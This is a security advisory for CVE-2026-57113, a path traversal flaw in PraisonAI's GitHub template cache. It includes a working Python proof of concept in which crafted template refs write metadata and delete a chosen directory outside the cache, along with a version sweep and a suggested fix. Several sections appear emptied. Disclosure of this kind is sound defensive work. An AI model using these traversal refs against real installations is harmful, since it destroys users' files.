INCIDENT MAP

Browse / AI Framework and Platform Flaws / CVE-2026-57113

PraisonAI GitHub template cache path traversal allows outside-cache file write and directory deletion

CVE-2026-57113 ยท 2026-06-18 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Path traversal and file access
Affected
praisonai (PyPI)
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
EPSS
0.4% chance of exploitation in 30 days

How it works, in short

Crafted GitHub template ref values escape the cache directory, letting the loader write files and delete arbitrary outside directories. (Our summary, written by a model. The source text is below.)

Details

Summary

PraisonAI's template loader accepts GitHub template URIs with refs, for example
github:owner/repo/template@v1.0.0. The resolver stores the user-controlled
template path and ref verbatim, and the cache layer later joins those values into
~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without
normalizing each segment or checking that the final path remains inside the
template cache root.

A crafted ref such as ../../../../../../outside-delete-target therefore
escapes the cache directory. The first load can write .cache_meta.json outside
the cache. If the normal cache hierarchy for the same owner/repo/template has
already been created, the same path reaches shutil.rmtree(cache_path) and
removes an attacker-selected outside directory before replacing it with cache
metadata.

This is distinct from the old template Zip Slip advisory. No malicious archive
member is needed, and the PoV disables network access entirely. The bug is in
cache-key construction for GitHub template URIs.

Affected versions

Confirmed vulnerable:

Recommended affected range: >= 2.6.0, <= 4.6.57.

No fixed version is known at the time of this report.

Impact

An attacker who can cause a user or service to load an attacker-supplied
PraisonAI GitHub template URI can:

Root cause

Current-head code path:

There is no check equivalent to:

Local-only PoV

Run from a PraisonAI source checkout:

from pathlib import Path
from tempfile import TemporaryDirectory
from praisonai.templates.cache import TemplateCache
from praisonai.templates.loader import TemplateLoader
from praisonai.templates.registry import TemplateRegistry

def loader(cache_dir):
    cache = TemplateCache(cache_dir=cache_dir)
    registry = TemplateRegistry(cache=cache, offline=False)
    registry._make_request = lambda url, headers=None: (_ for _ in ()).throw(
        RuntimeError("network disabled")
    )
    return TemplateLoader(cache=cache, registry=registry)

with TemporaryDirectory(prefix="prai-cache-ref-pov-") as tmp:
    root = Path(tmp)
    cache_dir = root / "cache" / "templates"

    write_target = root / "outside-write-target"
    loader(cache_dir).load(
        "github:attacker/repo/template@../../../../../../outside-write-target"
    )

    delete_target = root / "outside-delete-target"
    delete_target.mkdir()
    canary = delete_target / "canary.txt"
    canary.write_text("delete-me")

    ldr = loader(cache_dir)
    ldr.load("github:attacker/repo/template@main")
    ldr.load(
        "github:attacker/repo/template@../../../../../../outside-delete-target"
    )

    safe_target = root / "safe-control"
    safe_target.mkdir()
    safe_canary = safe_target / "canary.txt"
    safe_canary.write_text("must-remain")
    loader(root / "safe-cache" / "templates").load(
        "github:attacker/repo/template@main"
    )

    print("outside metadata written:", (write_target / ".cache_meta.json").exists())
    print("outside canary exists after malicious ref:", canary.exists())
    print("safe canary exists after normal ref:", safe_canary.exists())

Expected output:

outside metadata written: True
outside canary exists after malicious ref: False
safe canary exists after normal ref: True

The PoV uses only temporary directories and disables network fetches.

I also confirmed the same behavior without monkeypatching network fetches. With
a non-existent GitHub repository, PraisonAI makes real GitHub requests, handles
the failed fetch, returns a fallback template config, and still writes/deletes
through the escaped cache path. The PoV above disables network only to keep the
reproducer deterministic and harmless.

Release sweep

The same PoV was run against checked-out tags:

praisonai-current metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.57 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.56 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.10 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.6.9 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.128 metadata_write= True outside_delete= True safe_control= True
praisonai-v4.5.126 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.26 metadata_write= True outside_delete= True safe_control= True
praisonai-v3.9.24 metadata_write= True outside_delete= True safe_control= True
praisonai-v2.6.0 metadata_write= True outside_delete= True safe_control= True

git log shows the affected template cache/resolver/registry files were added
in the v2.6.0 release commit e7a8ce8e.

Suggested fix

Validate every cache path segment before joining:

Then enforce a final boundary check:

cache_root = self.cache_dir.resolve()
candidate = (cache_root / "github" / owner / repo / safe_path / safe_ref).resolve()
if os.path.commonpath([str(cache_root), str(candidate)]) != str(cache_root):
    raise ValueError("template cache path escapes cache root")

A more robust design is to hash untrusted URI fields into opaque directory names
instead of using raw remote identifiers as path segments.

Also consider failing closed when a GitHub template fetch returns no files.
Currently a failed fetch can still result in a cached empty template directory.

References

Source: GitHub Advisory Database, used under CC BY 4.0.